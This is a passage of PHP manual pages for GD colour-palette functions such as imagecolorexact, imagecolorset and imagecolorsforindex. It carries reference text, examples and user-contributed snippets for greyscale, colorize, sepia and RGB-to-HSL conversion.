      $lab[] = round(500*($fx-$fy));
      $lab[] = round(200*($fy-$fz));
      return $lab;
    }
  }

  if(!function_exists('deltaE')) {
    function deltaE($lab1, $lab2) {
      // CMC 1:1
      $l = 1; $c = 1;

      $c1 = sqrt($lab1[1]*$lab1[1]+$lab1[2]*$lab1[2]);
      $c2 = sqrt($lab2[1]*$lab2[1]+$lab2[2]*$lab2[2]);

      $h1 = (((180000000/M_PI) * atan2($lab1[1],$lab1[2]) + 360000000) % 360000000)/1000000;

      $t = (164 <= $h1 AND $h1 <= 345)?(0.56 + abs(0.2 * cos($h1+168))):(0.36 + abs(0.4 * cos($h1+35)));
      $f = sqrt(pow($c1,4)/(pow($c1,4) + 1900));

      $sl = ($lab1[0] < 16)?(0.511):((0.040975*$lab1[0])/(1 + 0.01765*$lab1[0]));
      $sc = (0.0638 * $c1)/(1 + 0.0131 * $c1) + 0.638;
      $sh = $sc * ($f * $t + 1 -$f);

      return sqrt(
        pow(($lab1[0]-$lab2[0])/($l * $sl),2) +
        pow(($c1-$c2)/($c * $sc),2) +
        pow(sqrt(
              ($lab1[1]-$lab2[1])*($lab1[1]-$lab2[1]) +
              ($lab1[2]-$lab2[2])*($lab1[2]-$lab2[2]) +
              ($c1-$c2)*($c1-$c2)
            )/$sh,2)
      );
    }
  }

  if(!function_exists('str2rgb')) {
    function str2rgb($str)
    {
      $str = preg_replace('~[^0-9a-f]~','',$str);
      $rgb = str_split($str,2);
      for($i=0;$i<3;$i++)
        $rgb[$i] = intval($rgb[$i],16);

      return $rgb;
    }
  }

  $givenColorRGB = is_array($givenColor?$givenColor:str2rgb($givenColor);

  $min = 0xffff;
  $return = NULL;

  foreach($palette as $key => $color) {
    $color = is_array($color)?$color:str2rgb($color);
    if($min >= ($deltaE = deltaE(rgb2lab($color),rgb2lab($givenColorRGB))))
    {
      $min = $deltaE;
      $return = $key;
    }
  }

  return $return;
}
?>


De-allocate a color for an image

  • « imagecolorclosesthwb
  • imagecolorexact »
  • PHP Manual
  • GD and Image Functions
  • De-allocate a color for an image

imagecolordeallocate

(PHP 4, PHP 5)

imagecolordeallocate — De-allocate a color for an image

Description

bool imagecolordeallocate ( resource $image , int $color )

De-allocates a color previously allocated with imagecolorallocate() or imagecolorallocatealpha().

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

color

The color identifier.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using imagecolordeallocate()

<?php
$white = imagecolorallocate($im, 255, 255, 255);
imagecolordeallocate($im, $white);
?>

See Also

  • imagecolorallocate() - Allocate a color for an image
  • imagecolorallocatealpha() - Allocate a color for an image

User Contributed Notes

sabretur 17-Oct-2013 04:38
A faster way to get HTML color values:

function rgb2html($r, $g, $b){
$r = sprintf('%02x',$r);
$g = sprintf('%02x',$g);
$b = sprintf('%02x',$b);
return '#'.$r.$g.$b;
}


Get the index of the specified color

  • « imagecolordeallocate
  • imagecolorexactalpha »
  • PHP Manual
  • GD and Image Functions
  • Get the index of the specified color

imagecolorexact

(PHP 4, PHP 5)

imagecolorexact — Get the index of the specified color

Description

int imagecolorexact ( resource $image , int $red , int $green , int $blue )

Returns the index of the specified color in the palette of the image.

If you created the image from a file, only colors used in the image are resolved. Colors present only in the palette are not resolved.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

Return Values

Returns the index of the specified color in the palette, or -1 if the color does not exist.

Examples

Example #1 Get colors from the GD logo

<?php
// Setup an image
$im = imagecreatefrompng('./gdlogo.png');

$colors   = Array();
$colors[] = imagecolorexact($im, 255, 0, 0);
$colors[] = imagecolorexact($im, 0, 0, 0);
$colors[] = imagecolorexact($im, 255, 255, 255);
$colors[] = imagecolorexact($im, 100, 255, 52);

print_r($colors);

// Free from memory
imagedestroy($im);
?>

The above example will output something similar to:

Array
(
    [0] => 16711680
    [1] => 0
    [2] => 16777215
    [3] => 6618932
)

See Also

  • imagecolorclosest() - Get the index of the closest color to the specified color

User Contributed Notes

samtobia at geemail dot com 25-Mar-2011 07:11
A script that changes colors depending on get variable
important to note: I had little success with pngs and getting true red
gifs work much better

<?php
//0 is yellow, 1 is red, 2 is blue
$y = 1 - ceil($_GET["c"]/2);
$r = 1 - floor($_GET["c"]/2);
$b = floor($_GET["c"]/2);

$gd = imagecreatefromgif("example.gif");
imagecolorset($gd, imagecolorexact($gd, 255, 0, 0), $r*255, $y*255, $b*255);
imagecolorset($gd, imagecolorexact($gd, 191, 0, 0), $r*191, $y*191, $b*191);
imagecolorset($gd, imagecolorexact($gd, 128, 0, 0), $r*128, $y*128, $b*128);
imagecolorset($gd, imagecolorexact($gd, 255, 0, 0), $r*64, $y*64, $b*64);

header('Content-Type: image/gif');
imagegif($gd);

?>
jbr at ya-right dot com 18-Feb-2006 09:38
A few notes about this function...

This function will only work on images where the palette is 256 colors or less. You also can not use imagetruecolortopalette() to reduce the palette on a true color PNG image that has greater than 256 colors in it's palette, then call this function. If you try to do this imagecolorexact() will report colors not being in the image when they are in the image!

1. works on png(s) 8bit/256 colors or less.
2. works on all gif(s)
3. does not work on any type of jpg/jpeg image.
info at educar dot pro dot br 16-Nov-2005 08:14
<?php

$src = "../images/pic.gif";

$red = 9;
$green = 9;
$blue = 4;

$pic0026 = imagecreatefromgif ( $src );

$ind = imagecolorexact ( $pic, $red, $green, $blue );

echo '<img src="../images/pic.gif" border="0" alt="pic" title="View pic" /><br /><br />';

echo "RED ( " . $red . " ) GREEN ( " . $green . " ) BLUE ( " . $blue . " )<br />-> Palette Index = " . $ind;

if ( $ind != -1 )
{
echo "<br />[ The color exists! ]";
}
else
{
echo "<br />[ The color does not exist! ]";
}

imagedestroy ( $pic );

?>


Get the index of the specified color + alpha

  • « imagecolorexact
  • imagecolormatch »
  • PHP Manual
  • GD and Image Functions
  • Get the index of the specified color + alpha

imagecolorexactalpha

(PHP 4 >= 4.0.6, PHP 5)

imagecolorexactalpha — Get the index of the specified color + alpha

Description

int imagecolorexactalpha ( resource $image , int $red , int $green , int $blue , int $alpha )

Returns the index of the specified color+alpha in the palette of the image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

alpha

A value between 0 and 127. 0 indicates completely opaque while 127 indicates completely transparent.

The colors parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF.

Return Values

Returns the index of the specified color+alpha in the palette of the image, or -1 if the color does not exist in the image's palette.

Examples

Example #1 Get colors from the GD logo

<?php

// Setup an image
$im = imagecreatefrompng('./gdlogo.png');

$colors   = Array();
$colors[] = imagecolorexactalpha($im, 255, 0, 0, 0);
$colors[] = imagecolorexactalpha($im, 0, 0, 0, 127);
$colors[] = imagecolorexactalpha($im, 255, 255, 255, 55);
$colors[] = imagecolorexactalpha($im, 100, 255, 52, 20);

print_r($colors);

// Free from memory
imagedestroy($im);
?>

The above example will output something similar to:

Array
(
    [0] => 16711680
    [1] => 2130706432
    [2] => 939524095
    [3] => 342163252
)

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagecolorclosestalpha() - Get the index of the closest color to the specified color + alpha

User Contributed Notes

matt at matt-darby dot com 12-Jul-2005 03:09
Note that a color allocated with imagecolorexactalpha won't show alpha (it will be opaque) when used with imageline(). Use imagerectangle() set to your normal start and end points instead.

Ensure that the image is created via imagecreatetruecolor() as well!
phpdoc-comment at aditus dot nu 08-Nov-2002 07:01
What might be misleading in the docs is that if the specified color + alpha channel does not exist it will be created. So if you like to use an alpha channel in your image enable alpha blending and then create you color using this method.


Makes the colors of the palette version of an image more closely match the true color version

  • « imagecolorexactalpha
  • imagecolorresolve »
  • PHP Manual
  • GD and Image Functions
  • Makes the colors of the palette version of an image more closely match the true color version

imagecolormatch

(PHP 4 >= 4.3.0, PHP 5)

imagecolormatch — Makes the colors of the palette version of an image more closely match the true color version

Description

bool imagecolormatch ( resource $image1 , resource $image2 )

Makes the colors of the palette version of an image more closely match the true color version.

Parameters

image1

A truecolor image link resource.

image2

A palette image link resource pointing to an image that has the same size as image1.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagecolormatch() example

<?php
// Setup the true color and palette images
$im1 = imagecreatefrompng('./gdlogo.png');
$im2 = imagecreate(imagesx($im1), imagesy($im1));

// Add some colors to $im2
$colors   = Array();
$colors[] = imagecolorallocate($im2, 255, 36, 74);
$colors[] = imagecolorallocate($im2, 40, 0, 240);
$colors[] = imagecolorallocate($im2, 82, 100, 255);
$colors[] = imagecolorallocate($im2, 84, 63, 44);

// Match these colors with the true color image
imagecolormatch($im1, $im2);

// Free from memory
imagedestroy($im1);
imagedestroy($im2);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagecreatetruecolor() - Create a new true color image

User Contributed Notes

gk at karko dot net 28-Jun-2010 06:42
Those that have Ubuntu servers note, that this function is added in PHP's GD library fork and is not available by default in Ubuntu php5-gd package.

Here's how-to install the PHP GD version: http://preview.tinyurl.com/yel4r7t
albriNOght at anSPAMre dot net 12-Dec-2005 06:22
This function appears to work by changing the values of the colors of the paletted image -- no good if you're trying to force the resultant image to stick with certain pre-defined color values.
Samantha 09-Feb-2004 04:14
This function is a godsend! It works exactly as documented.

I'm working on an application where I need to take a transparent GIF, matte the GIF on a user defined background color, and finally scale the GIF based on a user defined %.

The only way I could get this to work so that the final image was high quality, ie: no jagged edges, and a smooth scale, was to convert the GIF to a JPG, and then copy the JPG into a new GIF image like this:

// open transparent gif
$GIFimg = imagecreatefromgif($file_path);

// create jpg image
$JPGimg = imagecreatetruecolor($width, $height);

// copy GIF to JPG
imagecopy($JPGimg, $GIFimg, 0, 0, 0, 0, $width, $height);

// create a true color image
$JPGscaled = imagecreatetruecolor($n_width, $n_height);

// scale the new JPG using the truecolor image
imagecopyresampled($JPGscaled, $JPGimg, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

// create final GIF image
$GIFfinal = imagecreate($n_width, $n_height);

// copy the scaled JPG back to a GIF
imagecopymerge($GIFfinal, $JPGscaled, 0, 0, 0, 0, $n_width, $n_height, 100);

This worked great except the final step, copying the JPG to a GIF. If the JPG had too many colors, the function would index the colors to make it a palette image. So what would end up happening is the final image contained INCORRECT colors.

Adding this one line at the bottom of the code fixed everything.

imagecolormatch($JPGscaled, $GIFfinal);

I hope this helps anyone who is converting images back and forth and dealing with palette issues and color correction. Also, be aware that the above code is a sample and will not work by copying and pasting.


Get the index of the specified color or its closest possible alternative

  • « imagecolormatch
  • imagecolorresolvealpha »
  • PHP Manual
  • GD and Image Functions
  • Get the index of the specified color or its closest possible alternative

imagecolorresolve

(PHP 4, PHP 5)

imagecolorresolve — Get the index of the specified color or its closest possible alternative

Description

int imagecolorresolve ( resource $image , int $red , int $green , int $blue )

This function is guaranteed to return a color index for a requested color, either the exact color or the closest possible alternative.

If you created the image from a file, only colors used in the image are resolved. Colors present only in the palette are not resolved.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

Return Values

Returns a color index.

Examples

Example #1 Using imagecoloresolve() to get colors from an image

<?php
// Load an image
$im = imagecreatefromgif('phplogo.gif');

// Get closest colors from the image
$colors = array();
$colors[] = imagecolorresolve($im, 255, 255, 255);
$colors[] = imagecolorresolve($im, 0, 0, 200);

// Output
print_r($colors);

imagedestroy($im);
?>

The above example will output something similar to:

Array
(
    [0] => 89
    [1] => 85
)

See Also

  • imagecolorclosest() - Get the index of the closest color to the specified color

User Contributed Notes

ceo at l-i-e dot com 03-Jan-2002 12:55
Okay, so sometimes it's really IMPORTANT to get the exact color you want, only it's not *IN* the Image, and ImageColorResolve just isn't "close enough".

The following code is a disgustingly gross hack, rather slow, but it does that.

$colorcount = array();
for ($x = 0; $x < $width; $x++){
    for ($y = 0; $y < $height; $y++){
        $colorindex = imagecolorat($jpg, $x, $y);
        if (!isset($colorcount[$colorindex])){
            $colorcount[$colorindex] = 1;
        }
        else{
            $colorcount[$colorindex]++;
        }
    }
}
asort($colorcount);
reset($colorcount);

$black = imagecolorexact($jpg, 0, 0, 0);
if ($black == -1){
    $goner = key($colorcount);
    $rgb = imagecolorsforindex($jpg, $goner);
    #error_log("Need black: About to kill $goner ($rgb[red], $rgb[green], $rgb[blue]) which was only used in $colorcount[$goner] pixels", 0);
    unset($colorcount[$goner]);
    imagecolordeallocate($jpg, $goner);
    $black = imagecolorallocate($jpg, 0, 0, 0);
}
if ($black == -1){
    $black = imagecolorresolve($jpg, 0, 0, 0);
    #error_log("Damn!  STILL couldn't allocate the color!", 0);
}


Get the index of the specified color + alpha or its closest possible alternative

  • « imagecolorresolve
  • imagecolorset »
  • PHP Manual
  • GD and Image Functions
  • Get the index of the specified color + alpha or its closest possible alternative

imagecolorresolvealpha

(PHP 4 >= 4.0.6, PHP 5)

imagecolorresolvealpha — Get the index of the specified color + alpha or its closest possible alternative

Description

int imagecolorresolvealpha ( resource $image , int $red , int $green , int $blue , int $alpha )

This function is guaranteed to return a color index for a requested color, either the exact color or the closest possible alternative.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

alpha

A value between 0 and 127. 0 indicates completely opaque while 127 indicates completely transparent.

The colors parameters are integers between 0 and 255 or hexadecimals between 0x00 and 0xFF.

Return Values

Returns a color index.

Examples

Example #1 Using imagecoloresolvealpha() to get colors from an image

<?php
// Load an image
$im = imagecreatefromgif('phplogo.gif');

// Get closest colors from the image
$colors = array();
$colors[] = imagecolorresolvealpha($im, 255, 255, 255, 0);
$colors[] = imagecolorresolvealpha($im, 0, 0, 200, 127);

// Output
print_r($colors);

imagedestroy($im);
?>

The above example will output something similar to:

Array
(
    [0] => 89
    [1] => 85
)

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagecolorclosestalpha() - Get the index of the closest color to the specified color + alpha

User Contributed Notes

There are no user contributed notes for this page.


Set the color for the specified palette index

  • « imagecolorresolvealpha
  • imagecolorsforindex »
  • PHP Manual
  • GD and Image Functions
  • Set the color for the specified palette index

imagecolorset

(PHP 4, PHP 5)

imagecolorset — Set the color for the specified palette index

Description

void imagecolorset ( resource $image , int $index , int $red , int $green , int $blue [, int $alpha = 0 ] )

This sets the specified index in the palette to the specified color. This is useful for creating flood-fill-like effects in palleted images without the overhead of performing the actual flood-fill.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

index

An index in the palette.

red

Value of red component.

green

Value of green component.

blue

Value of blue component.

alpha

Value of alpha component.

Return Values

No value is returned.

Changelog

Version | Description
5.4.0 | The alpha parameter was added.

Examples

Example #1 imagecolorset() example

<?php
// Create a 300x100 image
$im = imagecreate(300, 100);

// Set the background to be red
imagecolorallocate($im, 255, 0, 0);

// Get the color index for the background
$bg = imagecolorat($im, 0, 0);

// Set the backgrund to be blue
imagecolorset($im, $bg, 0, 0, 255);

// Output the image to the browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

See Also

  • imagecolorat() - Get the index of the color of a pixel

User Contributed Notes

Bartman 25-Aug-2009 11:12
I had the same problem as heavyraptor2 so i made this function...
<?php
function imagecolorize($im,$endcolor){
    //funcion takes image and turns black into $endcolor, white to white and
    //everything in between in corresponding gradient
    //$endcolor should be 6 char html color

    //make sure it has usable palette
    if (imageistruecolor($im)) {
        imagetruecolortopalette($im, false, 256);
    }

    //first make it gray to be sure of even results (thanks moxleystratton.com)
    //comment this loop if you want the output based on, for example,
    //the red channel (for this take a look at the $gray-var in the last loop)
    for ($c = 0; $c < imagecolorstotal($im); $c++) {
        $col = imagecolorsforindex($im, $c);
        $gray = round(0.299 * $col['red'] + 0.587 * $col['green'] + 0.114 * $col['blue']);
        imagecolorset($im, $c, $gray, $gray, $gray);
    }

    //determine end-colors in hexdec
    $EndcolorRGB['r'] = hexdec( substr($endcolor, 0, 2));
    $EndcolorRGB['g'] = hexdec( substr($endcolor, 2, 2));
    $EndcolorRGB['b'] = hexdec( substr($endcolor, 4, 2));

    //determine gradient-delta's
    $stepR = (255-$EndcolorRGB['r'])/255.0;
    $stepG = (255-$EndcolorRGB['g'])/255.0;
    $stepB = (255-$EndcolorRGB['b'])/255.0;

    //aColor contains the 256 gradations between endcolor(i=0) and white(i=255)
    $aColor = array();
    for ($i = 0; $i<=255; $i++){
        $aColor[$i]['r'] = $EndcolorRGB['r'] + ($i*$stepR);
        $aColor[$i]['g'] = $EndcolorRGB['g'] + ($i*$stepG);
        $aColor[$i]['b'] = $EndcolorRGB['b'] + ($i*$stepB);
    }

    //for every color-index we now replace $gray-values for $aColor
    for ($c = 0; $c < imagecolorstotal($im); $c++){
        $currentColorRGB = imagecolorsforindex($im, $c);
        $gray = $currentColorRGB['red'];//image is grayscale, so red,green and blue
        // should be equal. We use this number as key of aColor
        imagecolorset($im,$c,(int)$aColor[$gray]['r'], (int)$aColor[$gray]['g'], (int)$aColor[$gray]['b']);
    }
}?>
Thomas Mueller 23-Apr-2008 07:42
Here is a function to colorize a picture gradient style.

All you have to do is to pass an img-object and an array of colors.

e.g.

$arr = array('#000000', '#990000', '#00FFFF', '#FFFFDD');
colorize ($img, $arr);

<?php
function colorize($imgdata, $palette)
{
    imageTrueColorToPalette($imgdata,false,0xFF);
    $l = count($palette)-1;
    $i = imagecolorstotal($imgdata);
    while ($i--)
    {
        list($r,$g,$b) = array_values(imageColorsForIndex($imgdata,$i));

        $grayscale = ($r*.3 + $g*.59 +$b*.11) / 0xFF;

        $pos = $l*$grayscale;

        $perc = $pos-floor($pos);

        $tbase = str_replace("#", '', $palette[$pos]);
        $baseR = hexdec(substr($tbase,0,2));
        $baseG = hexdec(substr($tbase,2,2));
        $baseB = hexdec(substr($tbase,4,2));

        $tmix = str_replace("#", '', $palette[$pos+1]);
        $mixR = hexdec(substr($tmix,0,2));
        $mixG = hexdec(substr($tmix,2,2));
        $mixB = hexdec(substr($tmix,4,2));

        $resR = $baseR+($mixR-$baseR)*$perc;
        $resG = $baseG+($mixG-$baseG)*$perc;
        $resB = $baseB+($mixB-$baseB)*$perc;

        imagecolorset($imgdata, $i, $resR, $resG, $resB);
    }
}
?>
heavyraptor2 at hotmail dot com 20-Feb-2008 10:08
I've been looking for a simple function which "colorizes" an image, without any success ... it looks like a lot of people mean something different with "colorizing" an image, because actually colorzing means multiplying the old color's grayscale with the new color. So a white pixel would become 100% of the colorize-to-color and a black pixel would stay black (I know I can't explain well ... I hope you understood, otherwise take a look at the example below the functions' code).

<?php
function image_colorize(&$img,$rgb) {
  imageTrueColorToPalette($img,true,256);
  $numColors = imageColorsTotal($img);

  for ($x = 0; $x < $numColors; $x++) {
    list($r,$g,$b) = array_values(imageColorsForIndex($img,$x));

    // calculate grayscale in percent
    $grayscale = ($r + $g + $b) / 3 / 0xff;

    imageColorSet($img,$x,
      $grayscale * $rgb[0],
      $grayscale * $rgb[1],
      $grayscale * $rgb[2]
    );
  }

  return true;
}
?>

Example of usage:
<?php
$color = array(0xff,0xaa,0x2a); // color to convert to
$url = 'http://sundog.net/images/uploads/1_google_logo.jpg';
$img = imageCreateFromJpeg($url);

image_colorize($img,$color);

header('Content-type: image/gif');
imageGif($img);
exit;
?>

Enjoy
admin at phpgfx dot com 25-Aug-2007 08:37
Here is a function to turn an image into pure black and white

<?php

function imagepurebw( $img, $amount = 383 ) {
    $total = imagecolorstotal( $img );
    for ( $i = 0; $i < $total; $i++ ) {
        $index = imagecolorsforindex( $img, $i );
        array_pop( $index );
        $color = ( array_sum( $index ) > $amount ) ? 255 : 0;
        imagecolorset( $img, $i, $color, $color, $color );
    }
}

?>
moxleystratton.com 05-Oct-2006 12:59
If you want to convert a Color image to Grayscale without creating a blotchy image, use this color calculation:
<?php
function imagetograyscale($im)
{
    if (imageistruecolor($im)) {
        imagetruecolortopalette($im, false, 256);
    }

    for ($c = 0; $c < imagecolorstotal($im); $c++) {
        $col = imagecolorsforindex($im, $c);
        $gray = round(0.299 * $col['red'] + 0.587 * $col['green'] + 0.114 * $col['blue']);
        imagecolorset($im, $c, $gray, $gray, $gray);
    }
}
?>
dade dot c at email dot it 02-Oct-2004 10:47
this is helpful if you would like to implement a color theme system in your website... try it out
Davide Candiloro Italy

function colorize ($pngpath, $r, $g, $b)
/*
REQUIRES: $pngpath to be a valid path of a greyscale PNG-8 image with 64 colors palette
          $r, $g, $b to be integers in the range 0..255
EFFECTS: returns the png image colorized with the color represented by $r, $g, $b.
*/
{
    header("Content-type: image/png");
    $im = imagecreatefrompng("images/table.png");

    imagetruecolortopalette($im, FALSE, 256);

      for ($c = 0; $c < 64; $c++){ /*64 is the number of colors in the PNG-8 palette*/
        $col = imagecolorsforindex($im, $c);
        imagecolorset ( $im, $c, $r*$col['red']/256, $g*$col['green']/256, $b*$col['blue']/256); /*replaces original greyscale palette with a colorized one*/
     }

    imagepng($im);
    imagedestroy($im);
}
m4551 at abasoft dot it 23-Apr-2004 06:19
here's a function to greyscale an image even from a truecolor source (jpeg or png).

slightly poor quality, but very fast...

function imagegreyscale(&$img, $dither=1) {
    if (!($t = imagecolorstotal($img))) {
        $t = 256;
        imagetruecolortopalette($img, $dither, $t);
    }
    for ($c = 0; $c < $t; $c++) {
        $col = imagecolorsforindex($img, $c);
        $min = min($col['red'],$col['green'],$col['blue']);
        $max = max($col['red'],$col['green'],$col['blue']);
        $i = ($max+$min)/2;
        imagecolorset($img, $c, $i, $i, $i);
    }
}
info at devking dot com 08-Aug-2002 11:20
here's a simple function to greyscale an image...

function imagecolorgrey( &$img ) {
 for( $i=0; $i<imagecolorstotal( $img ); $i++ ) {
  $c = ImageColorsForIndex( $img, $i );
  $t = ($c["red"]+$c["green"]+$c["blue"])/3;
  imagecolorset( $img, $i, $t, $t, $t );
 }
}
olivier at moostik dot net 12-Jul-2001 02:49
This function change colors of an image with ranges 0>100 for each primary color:

int ImageSelectiveColor (int im, int red, int green, int blue)

im is image pointer
red, green and blue are ranges 0->100

function ImageSelectiveColor($im,$red,$green,$blue)
 {
  for($i=0;$i<imagecolorstotal($im);$i++)
   {
    $col=ImageColorsForIndex($im,$i);
    $red_set=$red/100*$col['red'];
    $green_set=$green/100*$col['green'];
    $blue_set=$blue/100*$col['blue'];
    if($red_set>255)$red_set=255;
    if($green_set>255)$green_set=255;
    if($blue_set>255)$blue_set=255;
    imagecolorset($im,$i,$red_set,$green_set,$blue_set);

   }
  return $im;

 }


Get the colors for an index

  • « imagecolorset
  • imagecolorstotal »
  • PHP Manual
  • GD and Image Functions
  • Get the colors for an index

imagecolorsforindex

(PHP 4, PHP 5)

imagecolorsforindex — Get the colors for an index

Description

array imagecolorsforindex ( resource $image , int $index )

Gets the color for a specified index.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

index

The color index.

Return Values

Returns an associative array with red, green, blue and alpha keys that contain the appropriate values for the specified color index.

Examples

Example #1 imagecolorsforindex() example

<?php

// open an image
$im = imagecreatefrompng('nexen.png');

// get a color
$start_x = 40;
$start_y = 50;
$color_index = imagecolorat($im, $start_x, $start_y);

// make it human readable
$color_tran = imagecolorsforindex($im, $color_index);

// what is it ?
print_r($color_tran);

?>

The above example will output something similar to:

Array
(
   [red] => 226
   [green] => 222
   [blue] => 252
   [alpha] => 0
)

See Also

  • imagecolorat() - Get the index of the color of a pixel
  • imagecolorexact() - Get the index of the specified color

User Contributed Notes

hofstadler dot andi at gmx dot at 07-Oct-2008 09:36
I have optimized the rgb2hsl function from slepichev a bit, so that it is a bit shorter and hopefully a bit faster:

<?php
/**
 * Convert RGB colors array into HSL array
 *
 * @param array $ RGB colors set, each color component with range 0 to 255
 * @return array HSL set, each color component with range 0 to 1
 */
function rgb2hsl($rgb){
    $clrR = ($rgb[0]);
    $clrG = ($rgb[1]);
    $clrB = ($rgb[2]);

    $clrMin = min($clrR, $clrG, $clrB);
    $clrMax = max($clrR, $clrG, $clrB);
    $deltaMax = $clrMax - $clrMin;

    $L = ($clrMax + $clrMin) / 510;

    if (0 == $deltaMax){
        $H = 0;
        $S = 0;
    }
    else{
        if (0.5 > $L){
            $S = $deltaMax / ($clrMax + $clrMin);
        }
        else{
            $S = $deltaMax / (510 - $clrMax - $clrMin);
        }

        if ($clrMax == $clrR) {
            $H = ($clrG - $clrB) / (6.0 * $deltaMax);
        }
        else if ($clrMax == $clrG) {
            $H = 1/3 + ($clrB - $clrR) / (6.0 * $deltaMax);
        }
        else {
            $H = 2 / 3 + ($clrR - $clrG) / (6.0 * $deltaMax);
        }

        if (0 > $H) $H += 1;
        if (1 < $H) $H -= 1;
    }
    return array($H, $S,$L);
}
?>
matrebatre 07-Aug-2008 08:11
Be aware that

<?php
$rgba     = imagecolorat($image, $x, $y);
$r = ($rgba >> 16) & 0xFF;
$g = ($rgba >> 8) & 0xFF;
$b = $rgba & 0xFF;
$a     = ($rgba & 0x7F000000) >> 24;
?>

will only work for truecolor images. With eg GIF images, this will have strange results. For GIF images, you should always use imagecolorsforindex().
derek at idreams dot co dot uk 30-Nov-2007 09:45
The earlier microsoft sepia example seemed to have a factor in which made it pinky... here is a modified example which uses just the Microsoft sepia (as per the wiki sepia entry)

<?
function imagetosepia(&$img) {
  if (!($t = imagecolorstotal($img))) {
    $t = 256;
    imagetruecolortopalette($img, true, $t);
  }
  $total = imagecolorstotal( $img );
  for ( $i = 0; $i < $total; $i++ ) {
    $index = imagecolorsforindex( $img, $i );
    $red = ( $index["red"] * 0.393 + $index["green"] * 0.769 + $index["blue"] * 0.189 );
    $green = ( $index["red"] * 0.349 + $index["green"] * 0.686 + $index["blue"] * 0.168 );
    $blue = ( $index["red"] * 0.272 + $index["green"] * 0.534 + $index["blue"] * 0.131 );
    if ($red > 255) { $red = 255; }
    if ($green > 255) { $green = 255; }
    if ($blue > 255) { $blue = 255; }
    imagecolorset( $img, $i, $red, $green, $blue );
  }
}
?>
joe dot scylla at gmail dot com 28-Nov-2007 03:35
While it's quite easy and intuitive to get the alpha transparency of a pixel with:

<?php
$rgba     = imagecolorsforindex($image, imagecolorat($image, $x, $y));
$alpha     = $rgba["alpha"];
?>

you should use the return value of the command imagecolorat to get the alpha transparency with the code below because it's much faster and will have a major impact if you process every pixel of an image:

<?php
$rgba     = imagecolorat($image, $x, $y);
$alpha     = ($rgba & 0x7F000000) >> 24;
?>
tim at leethost dot com 10-Sep-2007 07:01
Here's a better grayscale, sepia, and general tinting function.  This function is better because:

1) Works with true color images (the other sepia code didn't).
2) Provides a more gooder grayscale conversion (yes, I said "more gooder").  The other grayscale code used imagetruecolortopalette, which just doesn't work well for grayscale conversion.
3) The other sepia code was really colorful, a little too much for my taste.  This function allows you to optionally set the tinting of the grayscale to anything you wish.
4) Single function for grayscale, sepia, and any other tinting you can dream up.

Here's some examples:

imagegrayscaletint ($img);  // Grayscale, no tinting
imagegrayscaletint ($img,304,242,209);  // What I use for sepia
imagegrayscaletint ($img,0,0,255);  // A berry blue image

The RGB values for tinting are normally from 0 to 255.  But, you can use values larger than 255 to lighten and "burn" the image.  The sepia example above does this a little, the below example provides a better example of lightening the image and burning the light areas out a little:

imagegrayscaletint ($img,400,400,400);  // Lighten image
imagegrayscaletint ($img,127,127,127);  // Darken image

<?
function imagegrayscaletint (&$img, $tint_r = 255, $tint_g = 255, $tint_b = 255) {
  $width = imagesx($img); $height = imagesy($img);
  $dest = imagecreate ($width, $height);
  for ($i=0; $i<256; $i++) imagecolorallocate ($dest, $i, $i, $i);
  imagecopyresized ($dest, $img, 0, 0, 0, 0, $width, $height, $width, $height);
  for ($i = 0; $i < 256; $i++) imagecolorset ($dest, $i, min($i * abs($tint_r) / 255, 255), min($i * abs($tint_g) / 255, 255), min($i * abs($tint_b) / 255, 255));
  $img = imagecreate ($width, $height);
  imagecopy ($img, $dest, 0, 0, 0, 0, $width, $height);
  imagedestroy ($dest);
}
?>
slepichev at yahoo dot com 06-Sep-2007 12:50
If you would like to change the intensity or lightness level of a specific color, you will need to convert the color format from RGB to HSL.
following function convert RGB array(red,green,blue) to HSL array(hue, saturation, lightness)
<?php
/**
 * Convert RGB colors array into HSL array
 *
 * @param array $ RGB colors set
 * @return array HSL set
 */
 function rgb2hsl($rgb){

     $clrR = ($rgb[0] / 255);
     $clrG = ($rgb[1] / 255);
     $clrB = ($rgb[2] / 255);

     $clrMin = min($clrR, $clrG, $clrB);
     $clrMax = max($clrR, $clrG, $clrB);
     $deltaMax = $clrMax - $clrMin;

     $L = ($clrMax + $clrMin) / 2;

     if (0 == $deltaMax){
         $H = 0;
         $S = 0;
         }
    else{
         if (0.5 > $L){
             $S = $deltaMax / ($clrMax + $clrMin);
             }
        else{
             $S = $deltaMax / (2 - $clrMax - $clrMin);
             }
         $deltaR = ((($clrMax - $clrR) / 6) + ($deltaMax / 2)) / $deltaMax;
         $deltaG = ((($clrMax - $clrG) / 6) + ($deltaMax / 2)) / $deltaMax;
         $deltaB = ((($clrMax - $clrB) / 6) + ($deltaMax / 2)) / $deltaMax;
         if ($clrR == $clrMax){
             $H = $deltaB - $deltaG;
             }
        else if ($clrG == $clrMax){
             $H = (1 / 3) + $deltaR - $deltaB;
             }
        else if ($clrB == $clrMax){
             $H = (2 / 3) + $deltaG - $deltaR;
             }
         if (0 > $H) $H += 1;
         if (1 < $H) $H -= 1;
         }
     return array($H, $S, $L);
     }
?>
admin at phpgfx dot com 26-Aug-2007 06:54
this is a sepia filter using microsoft's definition

<?php

function imagesepia( $img ) {
    $total = imagecolorstotal( $img );
    for ( $i = 0; $i < $total; $i++ ) {
        $index = imagecolorsforindex( $img, $i );
